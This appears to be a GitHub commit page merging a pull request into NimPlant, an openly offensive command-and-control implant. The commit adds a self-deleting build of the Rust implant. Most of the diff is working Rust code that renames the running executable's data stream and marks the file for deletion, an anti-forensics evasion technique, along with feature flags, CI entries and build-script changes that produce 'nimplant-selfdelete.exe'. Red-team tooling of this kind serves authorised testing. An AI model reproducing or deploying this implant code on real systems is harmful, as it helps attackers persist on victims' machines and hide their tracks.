Skip to content

Commit

Permalink
Merge pull request #32 from chvancooten/feat-self-delete-rs
Browse files Browse the repository at this point in the history
Add self-deleting implant for Rust
  • Loading branch information
chvancooten authored Jun 16, 2024
2 parents ea9a459 + 19692ea commit d3a883d
Show file tree
Hide file tree
Showing 8 changed files with 148 additions and 33 deletions.
8 changes: 4 additions & 4 deletions .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -34,10 +34,10 @@ jobs:
fail-fast: false
matrix:
include:
- language: 'nim'
- language: "nim"
paths: ./client/bin/NimPlant.exe, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.bin, ./client/bin/NimPlant-selfdelete.exe
- language: 'rust'
paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe
- language: "rust"
paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe, ./client-rs/bin/nimplant-selfdelete.exe
runs-on: ubuntu-latest
steps:
- name: Checkout code into workspace directory
Expand All @@ -62,4 +62,4 @@ jobs:
uses: andstor/file-existence-action@v3
with:
fail: true
files: ${{ matrix.paths }}
files: ${{ matrix.paths }}
24 changes: 12 additions & 12 deletions client-rs/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

16 changes: 12 additions & 4 deletions client-rs/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,10 @@ crate-type = ["cdylib"]
name = "nimplant"
path = "src/main.rs"

[[bin]]
name = "nimplant-selfdelete"
path = "src/main.rs"

[features]
risky = [
"clroxide",
Expand All @@ -49,6 +53,7 @@ risky = [
"windows",
"once_cell",
]
selfdelete = ["widestring", "windows"]

[build-dependencies]
bincode = "1.3.3"
Expand Down Expand Up @@ -82,14 +87,16 @@ winreg = "0.52.0"
wmi = "0.13.3"

# Windows APIs - used only for COFF loading
windows = { version = "0.56.0", optional = true, features = [
windows = { version = "0.57.0", optional = true, features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_Storage",
"Win32_System_Diagnostics_Debug",
"Win32_System_LibraryLoader",
"Win32_System_Memory",
"Win32_System_SystemServices",
"Win32_System_LibraryLoader",
"Win32_System_Threading",
"Win32_Security",
"Win32_System_Diagnostics_Debug",
] }

# Windows API pure definitions - preferred throughout Nimplant codebase
Expand All @@ -99,6 +106,7 @@ windows-sys = { version = "0.52.0", features = [
"Win32_Foundation",
"Win32_Graphics_Gdi",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_System_Console",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_Memory",
Expand Down
8 changes: 4 additions & 4 deletions client-rs/src/app.rs
Original file line number Diff line number Diff line change
Expand Up @@ -15,16 +15,16 @@ pub(crate) mod dinvoke;
#[cfg(feature = "risky")]
pub(crate) mod patches;

#[cfg(feature = "selfdelete")]
pub(crate) mod self_delete;

use crate::app::client::Client;
use crate::app::commands::handle_command;
use crate::app::config::Config;
use crate::app::debug::{allocate_console_debug_only, debug_println};
use crate::app::debug::debug_println;
use rand::Rng;

pub fn main() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

// Create a new Config object
let config = Config::new().unwrap_or_else(|_e| {
debug_println!("Failed to initialize config: {_e}");
Expand Down
89 changes: 89 additions & 0 deletions client-rs/src/app/self_delete.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
// Base code adapted from RustRedOps by joaoviictorti under MIT License
// https://github.com/joaoviictorti/RustRedOps/tree/main/Self_Deletion

use std::{
ffi::c_void,
mem::{size_of, size_of_val},
};
use windows::core::PCWSTR;
use windows::Win32::{
Foundation::CloseHandle,
Storage::FileSystem::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO},
Storage::FileSystem::{
FileDispositionInfo, FileRenameInfo, DELETE, FILE_DISPOSITION_INFO,
FILE_FLAGS_AND_ATTRIBUTES, FILE_SHARE_READ, OPEN_EXISTING, SYNCHRONIZE,
},
System::Memory::{GetProcessHeap, HeapAlloc, HeapFree, HEAP_ZERO_MEMORY},
};

pub(crate) fn perform() -> Result<(), Box<dyn std::error::Error>> {
let stream = ":nimpln";
let stream_wide: Vec<u16> = stream.encode_utf16().chain(std::iter::once(0)).collect();

unsafe {
let mut delete_file = FILE_DISPOSITION_INFO::default();
let lenght = size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * size_of::<u16>());
let rename_info =
HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, lenght).cast::<FILE_RENAME_INFO>();

delete_file.DeleteFile = true.into();
(*rename_info).FileNameLength = (stream_wide.len() * size_of::<u16>()) as u32 - 2;

std::ptr::copy_nonoverlapping(
stream_wide.as_ptr(),
(*rename_info).FileName.as_mut_ptr(),
stream_wide.len(),
);

let path = std::env::current_exe()?;
let path_str = path.to_str().unwrap_or("");
let mut full_path: Vec<u16> = path_str.encode_utf16().collect();
full_path.push(0);

let mut h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

SetFileInformationByHandle(
h_file,
FileRenameInfo,
rename_info as *const c_void,
lenght as u32,
)?;

CloseHandle(h_file)?;

h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

SetFileInformationByHandle(
h_file,
FileDispositionInfo,
std::ptr::from_ref::<FILE_DISPOSITION_INFO>(&delete_file).cast(),
size_of_val(&delete_file) as u32,
)?;

CloseHandle(h_file)?;

HeapFree(
GetProcessHeap()?,
HEAP_ZERO_MEMORY,
Some(rename_info as *const c_void),
)?;

Ok(())
}
}
5 changes: 5 additions & 0 deletions client-rs/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,12 @@

mod app;

use app::debug::allocate_console_debug_only;

#[no_mangle]
pub extern "C" fn Update() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

app::main();
}
11 changes: 11 additions & 0 deletions client-rs/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,17 @@

mod app;

use app::debug::{allocate_console_debug_only, debug_println};

fn main() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

// Self-delete the binary if the feature is enabled
#[cfg(feature = "selfdelete")]
if let Err(_e) = crate::app::self_delete::perform() {
debug_println!("Failed to self-delete: {:?}", _e);
};

app::main();
}
20 changes: 11 additions & 9 deletions nimplant.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@
This is a wrapper script to configure and generate NimPlant and its C2 server.
"""

# TODO: Update CI/CD to automatically upload Docker image to Docker hub, update README.md

import argparse
import os
import random
Expand Down Expand Up @@ -137,14 +139,12 @@ def compile_implant(implant_type, binary_type, xor_key):
# Compile all
print(f"Compiling .exe for {message}")
compile_function("exe", xor_key, config)
print(f"Compiling self-deleting .exe for {message}")
compile_function("exe-selfdelete", xor_key, config)
print(f"Compiling .dll for {message}")
compile_function("dll", xor_key, config)
print(f"Compiling .bin for {message}")
compile_function("raw", xor_key, config)
# TODO: Exe-Selfdelete
if implant_type != "rust":
print(f"Compiling self-deleting .exe for {message}")
compile_function("exe-selfdelete", xor_key, config)


def compile_nim_debug(binary_type, xor_key, config):
Expand Down Expand Up @@ -217,8 +217,10 @@ def compile_rust_debug(binary_type, xor_key, config):

def compile_rust(binary_type, xor_key, config, debug=False):
"""Compile the Rust implant."""
# TODO: Fix inline-execute crash when executing after "This BOF expects arguments"

# Construct compilation command
target_path = "client-rs/target/"
target_path = "client-rs/target/x86_64-pc-windows-gnu/"

# We always use the GNU toolchain to prevent shellcode stability issues
# If on Windows, the MSVC toolchain may be used instead (if the raw format is not used)
Expand All @@ -237,8 +239,6 @@ def compile_rust(binary_type, xor_key, config, debug=False):
)

if os.name != "nt":
target_path = target_path + "x86_64-pc-windows-gnu/"

# When cross-compiling, we need to tell sodiumoxide to use
# a pre-compiled version libsodium (which is packaged)
os.environ["SODIUM_LIB_DIR"] = os.path.abspath(
Expand All @@ -256,8 +256,10 @@ def compile_rust(binary_type, xor_key, config, debug=False):
target_path = target_path + "nimplant.exe"
compile_command = compile_command + " --bin=nimplant"
case "exe-selfdelete":
print("RUST EXE-SELFDELETE NOT YET IMPLEMENTED.")
exit(1)
target_path = target_path + "nimplant-selfdelete.exe"
compile_command = (
compile_command + " --bin=nimplant-selfdelete --features=selfdelete"
)
case "dll":
target_path = target_path + "nimplant.dll"
compile_command = compile_command + " --lib"
Expand Down

0 comments on commit d3a883d

Please sign in to comment.